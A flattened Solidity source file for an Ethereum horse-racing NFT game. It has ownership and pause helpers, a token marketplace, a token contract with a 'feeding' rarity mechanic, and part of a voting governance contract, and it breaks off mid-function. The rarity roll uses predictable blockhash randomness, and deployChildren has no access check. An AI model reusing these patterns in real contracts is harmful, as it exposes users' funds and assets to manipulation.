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pragma solidity ^0.4.24;
// File: ..\openzeppelin-solidity\contracts\ownership\Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: ..\openzeppelin-solidity\contracts\lifecycle\Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// File: ..\openzeppelin-solidity\contracts\math\SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts\HorseyExchange.sol
/**
* @title ERC721 Non-Fungible Token Standard basic interface
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Basic {
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId) public view returns (address _operator);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
}
/**
@dev HorseyExchange contract - handles horsey market exchange which
includes the following set of functions:
1. Deposit to Exchange
2. Cancel sale
3. Purchase token
**/
contract HorseyExchange is Pausable { //also Ownable
using SafeMath for uint256;
event HorseyDeposit(uint256 tokenId, uint256 price);
event SaleCanceled(uint256 tokenId);
event HorseyPurchased(uint256 tokenId, address newOwner, uint256 totalToPay);
/// @dev Fee applied to market maker - measured as percentage
uint256 public marketMakerFee = 3;
/// @dev Amount collected in fees
uint256 collectedFees = 0;
/// @dev RoyalStables TOKEN
ERC721Basic public token;
/**
@dev used to store the price and the owner address of a token on sale
*/
struct SaleData {
uint256 price;
address owner;
}
/// @dev Market spec to lookup price and original owner based on token id
mapping (uint256 => SaleData) market;
/// @dev mapping of current tokens on market by owner
mapping (address => uint256[]) userBarn;
/// @dev initialize
constructor() Pausable() public {
}
/**
@dev Since the exchange requires the horsey contract and horsey contract
requires exchange address, we cant initialize both of them in constructors
@param _token Address of the stables contract
*/
function setStables(address _token) external
onlyOwner()
{
require(address(_token) != 0,"Address of token is zero");
token = ERC721Basic(_token);
}
/**
@dev Allows the owner to change market fees
@param fees The new fees to apply (can be zero)
*/
function setMarketFees(uint256 fees) external
onlyOwner()
{
marketMakerFee = fees;
}
/// @return the tokens on sale based on the user address
function getTokensOnSale(address user) external view returns(uint256[]) {
return userBarn[user];
}
/// @return the token price with the fees
function getTokenPrice(uint256 tokenId) public view
isOnMarket(tokenId) returns (uint256) {
return market[tokenId].price + (market[tokenId].price / 100 * marketMakerFee);
}
/**
@dev User sends token to sell to exchange - at this point the exchange contract takes
ownership, but will map token ownership back to owner for auotmated withdraw on
cancel - requires that user is the rightful owner and is not
asking for a null price
*/
function depositToExchange(uint256 tokenId, uint256 price) external
whenNotPaused()
isTokenOwner(tokenId)
nonZeroPrice(price)
tokenAvailable() {
require(token.getApproved(tokenId) == address(this),"Exchange is not allowed to transfer");
//Transfers token from depositee to exchange (contract address)
token.transferFrom(msg.sender, address(this), tokenId);
//add the token to the market
market[tokenId] = SaleData(price,msg.sender);
//Add token to exchange map - tracking by owner of all tokens
userBarn[msg.sender].push(tokenId);
emit HorseyDeposit(tokenId, price);
}
/**
@dev Allows true owner of token to cancel sale at anytime
@param tokenId ID of the token to remove from the market
@return true if user still has tokens for sale
*/
function cancelSale(uint256 tokenId) external
whenNotPaused()
originalOwnerOf(tokenId)
tokenAvailable() returns (bool) {
//throws on fail - transfers token from exchange back to original owner
token.transferFrom(address(this),msg.sender,tokenId);
//Reset token on market - remove
delete market[tokenId];
//Reset barn tracker for user
_removeTokenFromBarn(tokenId, msg.sender);
emit SaleCanceled(tokenId);
//Return true if this user is still 'active' within the exchange
//This will help with client side actions
return userBarn[msg.sender].length > 0;
}
/**
@dev Performs the purchase of a token that is present on the market - this includes checking that the
proper amount is sent + appliced fee, updating seller's balance, updated collected fees and
transfering token to buyer
Only market tokens can be purchased
@param tokenId ID of the token we wish to purchase
*/
function purchaseToken(uint256 tokenId) external payable
whenNotPaused()
isOnMarket(tokenId)
tokenAvailable()
notOriginalOwnerOf(tokenId)
{
//Did the sender accidently pay over? - if so track the amount over
uint256 totalToPay = getTokenPrice(tokenId);
require(msg.value >= totalToPay, "Not paying enough");
//fetch this tokens sale data
SaleData memory sale = market[tokenId];
//Add to collected fee amount payable to DEVS
collectedFees += totalToPay - sale.price;
//pay the seller
sale.owner.transfer(sale.price);
//Reset barn tracker for user
_removeTokenFromBarn(tokenId, sale.owner);
//Reset token on market - remove
delete market[tokenId];
//Transfer the ERC721 to the buyer - we leave the sale amount
//to be withdrawn by the user (transferred from exchange)
token.transferFrom(address(this), msg.sender, tokenId);
//Return over paid amount to sender if necessary
if(msg.value > totalToPay) //overpaid
{
msg.sender.transfer(msg.value.sub(totalToPay));
}
emit HorseyPurchased(tokenId, msg.sender, totalToPay);
}
/// @dev Transfers the collected fees to the owner
function withdraw() external
onlyOwner()
{
assert(collectedFees <= address(this).balance);
owner.transfer(collectedFees);
collectedFees = 0;
}
/**
@dev Internal function to remove a token from the users barn array
@param tokenId ID of the token to remove
@param barnAddress Address of the user selling tokens
*/
function _removeTokenFromBarn(uint tokenId, address barnAddress) internal {
uint256[] storage barnArray = userBarn[barnAddress];
require(barnArray.length > 0,"No tokens to remove");
int index = _indexOf(tokenId, barnArray);
require(index >= 0, "Token not found in barn");
// Shift entire array :(
for (uint256 i = uint256(index); i<barnArray.length-1; i++){
barnArray[i] = barnArray[i+1];
}
// Remove element, update length, return array
// this should be enough since https://ethereum.stackexchange.com/questions/1527/how-to-delete-an-element-at-a-certain-index-in-an-array
barnArray.length--;
}
/**
@dev Helper function which stores in memory an array which is passed in, and
@param item element we are looking for
@param array the array to look into
@return the index of the item of interest
*/
function _indexOf(uint item, uint256[] memory array) internal pure returns (int256){
//Iterate over array to find indexOf(token)
for(uint256 i = 0; i < array.length; i++){
if(array[i] == item){
return int256(i);
}
}
//Item not found
return -1;
}
/// @dev requires token to be on the market = current owner is exchange
modifier isOnMarket(uint256 tokenId) {
require(token.ownerOf(tokenId) == address(this),"Token not on market");
_;
}
/// @dev Is the user the owner of this token?
modifier isTokenOwner(uint256 tokenId) {
require(token.ownerOf(tokenId) == msg.sender,"Not tokens owner");
_;
}
/// @dev Is this the original owner of the token - at exchange level
modifier originalOwnerOf(uint256 tokenId) {
require(market[tokenId].owner == msg.sender,"Not the original owner of");
_;
}
/// @dev Is this the original owner of the token - at exchange level
modifier notOriginalOwnerOf(uint256 tokenId) {
require(market[tokenId].owner != msg.sender,"Is the original owner");
_;
}
/// @dev Is a nonzero price being sent?
modifier nonZeroPrice(uint256 price){
require(price > 0,"Price is zero");
_;
}
/// @dev Do we have a token address
modifier tokenAvailable(){
require(address(token) != 0,"Token address not set");
_;
}
}
// File: contracts\EthorseHelpers.sol
/**
@title Race contract - used for linking ethorse Race struct
@dev This interface is losely based on ethorse race contract
*/
contract EthorseRace {
//Encapsulation of racing information
struct chronus_info {
bool betting_open; // boolean: check if betting is open
bool race_start; //boolean: check if race has started
bool race_end; //boolean: check if race has ended
bool voided_bet; //boolean: check if race has been voided
uint32 starting_time; // timestamp of when the race starts
uint32 betting_duration;
uint32 race_duration; // duration of the race
uint32 voided_timestamp;
}
address public owner;
//Point to racing information
chronus_info public chronus;
//Coin index mapping to flag - true if index is winner
mapping (bytes32 => bool) public winner_horse;
/*
// exposing the coin pool details for DApp
function getCoinIndex(bytes32 index, address candidate) external constant returns (uint, uint, uint, bool, uint) {
return (coinIndex[index].total, coinIndex[index].pre, coinIndex[index].post, coinIndex[index].price_check, voterIndex[candidate].bets[index]);
}
*/
// exposing the coin pool details for DApp
function getCoinIndex(bytes32 index, address candidate) external constant returns (uint, uint, uint, bool, uint);
}
/**
@title API contract - used to connect with Race contract and
encapsulate race information for token inidices and winner
checking.
*/
contract EthorseHelpers {
/// @dev Convert all symbols to bytes array
bytes32[] public all_horses = [bytes32("BTC"),bytes32("ETH"),bytes32("LTC")];
mapping(address => bool) public legitRaces;
bool onlyLegit = false;
/// @dev Used to add new symbol to the bytes array
function _addHorse(bytes32 newHorse) internal {
all_horses.push(newHorse);
}
function _addLegitRace(address newRace) internal
{
legitRaces[newRace] = true;
if(!onlyLegit)
onlyLegit = true;
}
function getall_horsesCount() public view returns(uint) {
return all_horses.length;
}
/**
@param raceAddress - address of this race
@param eth_address - user's ethereum wallet address
@return true if user is winner + name of the winning horse (LTC,BTC,ETH,...)
*/
function _isWinnerOf(address raceAddress, address eth_address) internal view returns (bool,bytes32)
{
//acquire race, fails if doesnt exist
EthorseRace race = EthorseRace(raceAddress);
//make sure the race is legit (only if legit races list is filled)
if(onlyLegit)
require(legitRaces[raceAddress],"not legit race");
//acquire chronus
bool voided_bet; //boolean: check if race has been voided
bool race_end; //boolean: check if race has ended
(,,race_end,voided_bet,,,,) = race.chronus();
//cant be winner if race was refunded or didnt end yet
if(voided_bet || !race_end)
return (false,bytes32(0));
//aquire winner race index
bytes32 horse;
bool found = false;
uint256 arrayLength = all_horses.length;
//Iterate over coin symbols to find winner - tie could be possible?
for(uint256 i = 0; i < arrayLength; i++)
{
if(race.winner_horse(all_horses[i])) {
horse = all_horses[i];
found = true;
break;
}
}
//no winner horse? shouldnt happen unless this horse isnt registered
if(!found)
return (false,bytes32(0));
//check the bet amount of the eth_address on the winner horse
uint256 bet_amount = 0;
if(eth_address != address(0)) {
(,,,, bet_amount) = race.getCoinIndex(horse, eth_address);
}
//winner if the eth_address had a bet > 0 on the winner horse
return (bet_amount > 0, horse);
}
}
// File: contracts\HorseyToken.sol
contract RoyalStablesInterface {
struct Horsey {
address race;
bytes32 dna;
uint8 feedingCounter;
uint8 tier;
}
mapping(uint256 => Horsey) public horseys;
mapping(address => uint32) public carrot_credits;
mapping(uint256 => string) public names;
address public master;
function getOwnedTokens(address eth_address) public view returns (uint256[]);
function storeName(uint256 tokenId, string newName) public;
function storeCarrotsCredit(address client, uint32 amount) public;
function storeHorsey(address client, uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public;
function modifyHorsey(uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public;
function modifyHorseyDna(uint256 tokenId, bytes32 dna) public;
function modifyHorseyFeedingCounter(uint256 tokenId, uint8 feedingCounter) public;
function modifyHorseyTier(uint256 tokenId, uint8 tier) public;
function unstoreHorsey(uint256 tokenId) public;
function ownerOf(uint256 tokenId) public returns (address);
}
/**
@title HorseyToken ERC721 Token
@dev Horse contract - horse derives fro AccessManager built on top of ERC721 token and uses
@dev EthorseHelpers and AccessManager
*/
contract HorseyToken is EthorseHelpers,Pausable {
using SafeMath for uint256;
/// @dev called when someone claims a token
event Claimed(address raceAddress, address eth_address, uint256 tokenId);
/// @dev called when someone starts a feeding process
event Feeding(uint256 tokenId);
/// @dev called when someone ends a feeding process
event ReceivedCarrot(uint256 tokenId, bytes32 newDna);
/// @dev called when someone fails to end a feeding on the 255 blocks timer
event FeedingFailed(uint256 tokenId);
/// @dev called when a horsey is renamed
event HorseyRenamed(uint256 tokenId, string newName);
/// @dev called when a horsey is freed for carrots
event HorseyFreed(uint256 tokenId);
/// @dev address of the RoyalStables
RoyalStablesInterface public stables;
///@dev multiplier applied to carrots received from burning a horsey
uint8 public carrotsMultiplier = 1;
///@dev multiplier applied to rarity bounds when feeding horsey
uint8 public rarityMultiplier = 1;
///@dev fee to pay when claiming a token
uint256 public claimingFee = 0.000 ether;
/**
@dev Holds the necessary data to feed a horsey
The user has to create begin feeding and wait for the block
with the feeding transaction to be hashed
Only then he can stop the feeding
*/
struct FeedingData {
uint256 blockNumber; ///@dev Holds the block number where the feeding began
uint256 horsey; ///@dev Holds the horsey id
}
/// @dev Maps a user to his pending feeding
mapping(address => FeedingData) public pendingFeedings;
/// @dev Stores the renaming fees per character a user has to pay upon renaming a horsey
uint256 public renamingCostsPerChar = 0.001 ether;
/**
@dev Contracts constructor
Initializes token data
is pausable,ownable
@param stablesAddress Address of the official RoyalStables contract
*/
constructor(address stablesAddress)
EthorseHelpers()
Pausable() public {
stables = RoyalStablesInterface(stablesAddress);
}
/**
@dev Changes multiplier for rarity on feed
@param newRarityMultiplier The cost to charge in wei for each character of the name
*/
function setRarityMultiplier(uint8 newRarityMultiplier) external
onlyOwner() {
rarityMultiplier = newRarityMultiplier;
}
/**
@dev Sets a new muliplier for freeing a horse
@param newCarrotsMultiplier the new multiplier for feeding
*/
function setCarrotsMultiplier(uint8 newCarrotsMultiplier) external
onlyOwner() {
carrotsMultiplier = newCarrotsMultiplier;
}
/**
@dev Sets a new renaming per character cost in wei
Any CLevel can call this function
@param newRenamingCost The cost to charge in wei for each character of the name
*/
function setRenamingCosts(uint256 newRenamingCost) external
onlyOwner() {
renamingCostsPerChar = newRenamingCost;
}
/**
@dev Sets a new claiming fee in wei
Any CLevel can call this function
@param newClaimingFee The cost to charge in wei for each claimed HRSY
*/
function setClaimingCosts(uint256 newClaimingFee) external
onlyOwner() {
claimingFee = newClaimingFee;
}
/**
@dev Allows to add a race address for races validation
@param newAddress the race address
*/
function addLegitRaceAddress(address newAddress) external
onlyOwner() {
_addLegitRace(newAddress);
}
/**
@dev Owner can withdraw the current balance
*/
function withdraw() external
onlyOwner() {
owner.transfer(address(this).balance); //throws on fail
}
//allows owner to add a horse name to the possible horses list (BTC,ETH,LTC,...)
/**
@dev Adds a new horse index to the possible horses list (BTC,ETH,LTC,...)
This is in case ethorse adds a new coin
Any CLevel can call this function
@param newHorse Index of the horse to add (same data type as the original ethorse erc20 contract code)
*/
function addHorseIndex(bytes32 newHorse) external
onlyOwner() {
_addHorse(newHorse);
}
/**
@dev Gets the complete list of token ids which belongs to an address
@param eth_address The address you want to lookup owned tokens from
@return List of all owned by eth_address tokenIds
*/
function getOwnedTokens(address eth_address) public view returns (uint256[]) {
return stables.getOwnedTokens(eth_address);
}
/**
@dev Allows to check if an eth_address can claim a horsey from this contract
should we also check if already claimed here?
@param raceAddress The ethorse race you want to claim from
@param eth_address The users address you want to claim the token for
@return True only if eth_address is a winner of the race contract at raceAddress
*/
function can_claim(address raceAddress, address eth_address) public view returns (bool) {
bool res;
(res,) = _isWinnerOf(raceAddress, eth_address);
return res;
}
/**
@dev Allows a user to claim a special horsey with the same dna as the race one
Cant be used on paused
The sender has to be a winner of the race and must never have claimed a special horsey from this race
@param raceAddress The race's address
*/
function claim(address raceAddress) external payable
costs(claimingFee)
whenNotPaused()
{
//call _isWinnerOf with a 0 address to simply get the winner horse
bytes32 winner;
bool res;
(res,winner) = _isWinnerOf(raceAddress, address(0));
require(winner != bytes32(0),"Winner is zero");
require(res,"can_claim return false");
//require(!exists(id)); should already be checked by mining function
uint256 id = _generate_special_horsey(raceAddress, msg.sender, winner);
emit Claimed(raceAddress, msg.sender, id);
}
/**
@dev Allows a user to give a horsey a name or rename it
This function is payable and its cost is renamingCostsPerChar * length(newname)
Cant be called while paused
If called with too low balance, the modifier will throw
If called with too much balance, we try to return the remaining funds back
Upon completion we update all ceos balances, maybe not very efficient?
@param tokenId ID of the horsey to rename
@param newName The name to give to the horsey
*/
function renameHorsey(uint256 tokenId, string newName) external
whenNotPaused()
onlyOwnerOf(tokenId)
costs(renamingCostsPerChar * bytes(newName).length)
payable {
uint256 renamingFee = renamingCostsPerChar * bytes(newName).length;
//Return over paid amount to sender if necessary
if(msg.value > renamingFee) //overpaid
{
msg.sender.transfer(msg.value.sub(renamingFee));
}
//store the new name
stables.storeName(tokenId,newName);
emit HorseyRenamed(tokenId,newName);
}
/**
@dev Allows a user to burn a token he owns to get carrots
The mount of carrots given is equal to the horsey's feedingCounter upon burning
Cant be called on a horsey with a pending feeding
Cant be called while paused
@param tokenId ID of the token to burn
*/
function freeForCarrots(uint256 tokenId) external
whenNotPaused()
onlyOwnerOf(tokenId) {
require(pendingFeedings[msg.sender].horsey != tokenId,"");
//credit carrots
uint8 feedingCounter;
(,,feedingCounter,) = stables.horseys(tokenId);
stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) + uint32(feedingCounter * carrotsMultiplier));
stables.unstoreHorsey(tokenId);
emit HorseyFreed(tokenId);
}
/**
@dev Returns the amount of carrots the user owns
We have a getter to hide the carrots amount from public view
@return The current amount of carrot credits the sender owns
*/
function getCarrotCredits() external view returns (uint32) {
return stables.carrot_credits(msg.sender);
}
/**
@dev Returns horsey data of a given token
@param tokenId ID of the horsey to fetch
@return (race address, dna, feedingCounter, name)
*/
function getHorsey(uint256 tokenId) public view returns (address, bytes32, uint8, string) {
RoyalStablesInterface.Horsey memory temp;
(temp.race,temp.dna,temp.feedingCounter,temp.tier) = stables.horseys(tokenId);
return (temp.race,temp.dna,temp.feedingCounter,stables.names(tokenId));
}
/**
@dev Allows to feed a horsey to increase its feedingCounter value
Gives a chance to get a rare trait
The amount of carrots required is the value of current feedingCounter
The carrots the user owns will be reduced accordingly upon success
Cant be called while paused
@param tokenId ID of the horsey to feed
*/
function feed(uint256 tokenId) external
whenNotPaused()
onlyOwnerOf(tokenId)
carrotsMeetLevel(tokenId)
noFeedingInProgress()
{
pendingFeedings[msg.sender] = FeedingData(block.number,tokenId);
uint8 feedingCounter;
(,,feedingCounter,) = stables.horseys(tokenId);
stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) - uint32(feedingCounter));
emit Feeding(tokenId);
}
/**
@dev Allows user to stop feeding a horsey
This will trigger a random rarity chance
*/
function stopFeeding() external
feedingInProgress() returns (bool) {
uint256 blockNumber = pendingFeedings[msg.sender].blockNumber;
uint256 tokenId = pendingFeedings[msg.sender].horsey;
//you cant feed and stop feeding from the same block!
require(block.number - blockNumber >= 1,"feeding and stop feeding are in same block");
delete pendingFeedings[msg.sender];
//solidity only gives you access to the previous 256 blocks
//deny and remove this obsolete feeding if we cant fetch its blocks hash
if(block.number - blockNumber > 255) {
//the feeding is outdated = failed
//the user can feed again but he lost his carrots
emit FeedingFailed(tokenId);
return false;
}
//token could have been transfered in the meantime to someone else
if(stables.ownerOf(tokenId) != msg.sender) {
//the feeding is failed because the token no longer belongs to this user = failed
//the user has lost his carrots
emit FeedingFailed(tokenId);
return false;
}
//call horsey generation with the claim block hash
_feed(tokenId, blockhash(blockNumber));
bytes32 dna;
(,dna,,) = stables.horseys(tokenId);
emit ReceivedCarrot(tokenId, dna);
return true;
}
/// @dev Only ether sent explicitly through the donation() function is accepted
function() external payable {
revert("Not accepting donations");
}
/**
@dev Internal function to increase a horsey's rarity
Uses a random value to assess if the feeding process increases rarity
The chances of having a rarity increase are based on the current feedingCounter
@param tokenId ID of the token to "feed"
@param blockHash Hash of the block where the feeding began
*/
function _feed(uint256 tokenId, bytes32 blockHash) internal {
//Grab the upperbound for probability 100,100
uint8 tier;
uint8 feedingCounter;
(,,feedingCounter,tier) = stables.horseys(tokenId);
uint256 probabilityByRarity = 10 ** (uint256(tier).add(1));
uint256 randNum = uint256(keccak256(abi.encodePacked(tokenId, blockHash))) % probabilityByRarity;
//Scale probability based on horsey's level
if(randNum <= (feedingCounter * rarityMultiplier)){
_increaseRarity(tokenId, blockHash);
}
//Increment feedingCounter
//Maximum allowed is 255, which requires 32385 carrots, so we should never reach that
if(feedingCounter < 255) {
stables.modifyHorseyFeedingCounter(tokenId,feedingCounter+1);
}
}
/// @dev creates a special token id based on the race and the coin index
function _makeSpecialId(address race, address sender, bytes32 coinIndex) internal pure returns (uint256) {
return uint256(keccak256(abi.encodePacked(race, sender, coinIndex)));
}
/**
@dev Internal function to generate a SPECIAL horsey token
we then use the ERC721 inherited minting process
the dna is a bytes32 target for a keccak256. Not using blockhash
finaly, a bitmask zeros the first 2 bytes for rarity traits
@param race Address of the associated race
@param eth_address Address of the user to receive the token
@param coinIndex The index of the winning coin
@return ID of the token
*/
function _generate_special_horsey(address race, address eth_address, bytes32 coinIndex) internal returns (uint256) {
uint256 id = _makeSpecialId(race, eth_address, coinIndex);
//generate dna
bytes32 dna = _shiftRight(keccak256(abi.encodePacked(race, coinIndex)),16);
//storeHorsey checks if the token exists before minting already, so we dont have to here
stables.storeHorsey(eth_address,id,race,dna,1,0);
return id;
}
/**
@dev Internal function called to increase a horsey rarity
We generate a random zeros mask with a single 1 in the leading 16 bits
@param tokenId Id of the token to increase rarity of
@param blockHash hash of the block where the feeding began
*/
function _increaseRarity(uint256 tokenId, bytes32 blockHash) private {
uint8 tier;
bytes32 dna;
(,dna,,tier) = stables.horseys(tokenId);
if(tier < 255)
stables.modifyHorseyTier(tokenId,tier+1);
uint256 random = uint256(keccak256(abi.encodePacked(tokenId, blockHash)));
//this creates a mask of 256 bits such as one of the first 16 bits will be 1
bytes32 rarityMask = _shiftLeft(bytes32(1), (random % 16 + 240));
bytes32 newdna = dna | rarityMask; //apply mask to add the random flag
stables.modifyHorseyDna(tokenId,newdna);
}
/// @dev shifts a bytes32 left by n positions
function _shiftLeft(bytes32 data, uint n) internal pure returns (bytes32) {
return bytes32(uint256(data)*(2 ** n));
}
/// @dev shifts a bytes32 right by n positions
function _shiftRight(bytes32 data, uint n) internal pure returns (bytes32) {
return bytes32(uint256(data)/(2 ** n));
}
/// @dev Modifier to ensure user can afford a rehorse
modifier carrotsMeetLevel(uint256 tokenId){
uint256 feedingCounter;
(,,feedingCounter,) = stables.horseys(tokenId);
require(feedingCounter <= stables.carrot_credits(msg.sender),"Not enough carrots");
_;
}
/// @dev insures the caller payed the required amount
modifier costs(uint256 amount) {
require(msg.value >= amount,"Not enough funds");
_;
}
/// @dev requires the address to be non null
modifier validAddress(address addr) {
require(addr != address(0),"Address is zero");
_;
}
/// @dev requires that the user isnt feeding a horsey already
modifier noFeedingInProgress() {
//if the key does not exit, then the default struct data is used where blockNumber is 0
require(pendingFeedings[msg.sender].blockNumber == 0,"Already feeding");
_;
}
/// @dev requires that the user isnt feeding a horsey already
modifier feedingInProgress() {
//if the key does not exit, then the default struct data is used where blockNumber is 0
require(pendingFeedings[msg.sender].blockNumber != 0,"No pending feeding");
_;
}
/// @dev requires that the user isnt feeding a horsey already
modifier onlyOwnerOf(uint256 tokenId) {
require(stables.ownerOf(tokenId) == msg.sender, "Caller is not owner of this token");
_;
}
}
// File: contracts\HorseyPilot.sol
/**
@title Adds rank management utilities and voting behavior
@dev Handles equities distribution and levels of access
EXCHANGE FUNCTIONS IT CAN CALL
setClaimingFee OK 5
setMarketFees OK 1
withdraw
TOKEN FUNCTIONS IT CAN CALL
setRenamingCosts OK 0
addHorseIndex OK 3
setCarrotsMultiplier 8
setRarityMultiplier 9
addLegitDevAddress 2
withdraw
PAUSING OK 4
*/
contract HorseyPilot {
/// @dev event that is fired when a new proposal is made
event NewProposal(uint8 methodId, uint parameter, address proposer);
/// @dev event that is fired when a proposal is accepted
event ProposalPassed(uint8 methodId, uint parameter, address proposer);
/// @dev minimum threshold that must be met in order to confirm
/// a contract update
uint8 constant votingThreshold = 2;
/// @dev minimum amount of time a proposal can live
/// after this time it can be forcefully invoked or killed by anyone
uint256 constant proposalLife = 7 days;
/// @dev amount of time until another proposal can be made
/// we use this to eliminate proposal spamming
uint256 constant proposalCooldown = 1 days;
/// @dev used to reference the exact time the last proposal vetoed
uint256 cooldownStart;
/// @dev The addresses of the accounts (or contracts) that can execute actions within each roles.
address public jokerAddress;
address public knightAddress;
address public paladinAddress;
/// @dev List of all addresses allowed to vote
address[3] public voters;
/// @dev joker is the pool and gets the rest
uint8 constant public knightEquity = 40;
uint8 constant public paladinEquity = 10;
/// @dev deployed exchange and token addresses
address public exchangeAddress;
address public tokenAddress;
/// @dev Mapping to keep track of pending balance of contract owners
mapping(address => uint) internal _cBalance;
/// @dev Encapsulates information about a proposed update
struct Proposal{
address proposer; /// @dev address of the CEO at the origin of this proposal
uint256 timestamp; /// @dev the time at which this propsal was made
uint256 parameter; /// @dev parameters associated with proposed method invocation
uint8 methodId; /// @dev id maps to function 0:rename horse, 1:change fees, 2:?
address[] yay; /// @dev list of all addresses who voted
address[] nay; /// @dev list of all addresses who voted against
}
/// @dev the pending proposal
Proposal public currentProposal;
/// @dev true if the proposal is waiting for votes
bool public proposalInProgress = false;
/// @dev Value to keep track of avaible balance
uint256 public toBeDistributed;
/// @dev used to deploy contracts only once
bool deployed = false;
/**
@param _jokerAddress joker
@param _knightAddress knight
@param _paladinAddress paladin
@param _voters list of all allowed voting addresses
*/
constructor(
address _jokerAddress,
address _knightAddress,
address _paladinAddress,
address[3] _voters
) public {
jokerAddress = _jokerAddress;
knightAddress = _knightAddress;
paladinAddress = _paladinAddress;
for(uint i = 0; i < 3; i++) {
voters[i] = _voters[i];
}
//Set cooldown start to 1 day ago so that cooldown is irrelevant
cooldownStart = block.timestamp - proposalCooldown;
}
/**
@dev Used to deploy children contracts as a one shot call
*/
function deployChildren(address stablesAddress) external {
require(!deployed,"already deployed");
// deploy token and exchange contracts
exchangeAddress = new HorseyExchange();
tokenAddress = new HorseyToken(stablesAddress);
// the exchange requires horsey token address
HorseyExchange(exchangeAddress).setStables(stablesAddress);
deployed = true;
}
/**
@dev Transfers joker ownership to a new address
@param newJoker the new address
*/
function transferJokerOwnership(address newJoker) external
validAddress(newJoker) {
require(jokerAddress == msg.sender,"Not right role");
_moveBalance(newJoker);
jokerAddress = newJoker;
}
/**
@dev Transfers knight ownership to a new address
@param newKnight the new address
*/
function transferKnightOwnership(address newKnight) external
validAddress(newKnight) {
require(knightAddress == msg.sender,"Not right role");
_moveBalance(newKnight);
knightAddress = newKnight;
}
/**
@dev Transfers paladin ownership to a new address
@param newPaladin the new address
*/
function transferPaladinOwnership(address newPaladin) external
validAddress(newPaladin) {
require(paladinAddress == msg.sender,"Not right role");
_moveBalance(newPaladin);
paladinAddress = newPaladin;
}
/**
@dev Allow CEO to withdraw from pending value always checks to update redist
We ONLY redist when a user tries to withdraw so we are not redistributing
on every payment
@param destination The address to send the ether to
*/
function withdrawCeo(address destination) external
onlyCLevelAccess()
validAddress(destination) {
//Check that pending balance can be redistributed - if so perform
//this procedure
if(toBeDistributed > 0){
_updateDistribution();
}
//Grab the balance of this CEO
uint256 balance = _cBalance[msg.sender];
//If we have non-zero balance, CEO may withdraw from pending amount
if(balance > 0 && (address(this).balance >= balance)) {
destination.transfer(balance); //throws on fail
_cBalance[msg.sender] = 0;
}
}
/// @dev acquire funds from owned contracts
function syncFunds() external {
uint256 prevBalance = address(this).balance;
HorseyToken(tokenAddress).withdraw();
HorseyExchange(exchangeAddress).withdraw();
uint256 newBalance = address(this).balance;
//add to
toBeDistributed = toBeDistributed + (newBalance - prevBalance);
}
/// @dev allows a noble to access his holdings
function getNobleBalance() external view
onlyCLevelAccess() returns (uint256) {
return _cBalance[msg.sender];
}
/**
@dev Make a proposal and add to pending proposals
@param methodId a string representing the function ie. 'renameHorsey()'
@param parameter parameter to be used if invocation is approved
*/
function makeProposal( uint8 methodId, uint256 parameter ) external
onlyCLevelAccess()
proposalAvailable()
cooledDown()
{
currentProposal.timestamp = block.timestamp;
currentProposal.parameter = parameter;
currentProposal.methodId = methodId;
currentProposal.proposer = msg.sender;
delete currentProposal.yay;
delete currentProposal.nay;
proposalInProgress = true;
emit NewProposal(methodId,parameter,msg.sender);
}
/**
@dev Call to vote on a pending proposal
*/
function voteOnProposal(bool voteFor) external
proposalPending()
onlyVoters()
notVoted() {
//cant vote on expired!
require((block.timestamp - currentProposal.timestamp) <= proposalLife);
if(voteFor)
{
currentProposal.yay.push(msg.sender);
//Proposal went through? invoke it
if( currentProposal.yay.length >= votingThreshold )
{
_doProposal();
proposalInProgress = false;
//no need to reset cooldown on successful proposal
return;
}
} else {
currentProposal.nay.push(msg.sender);
//Proposal failed?
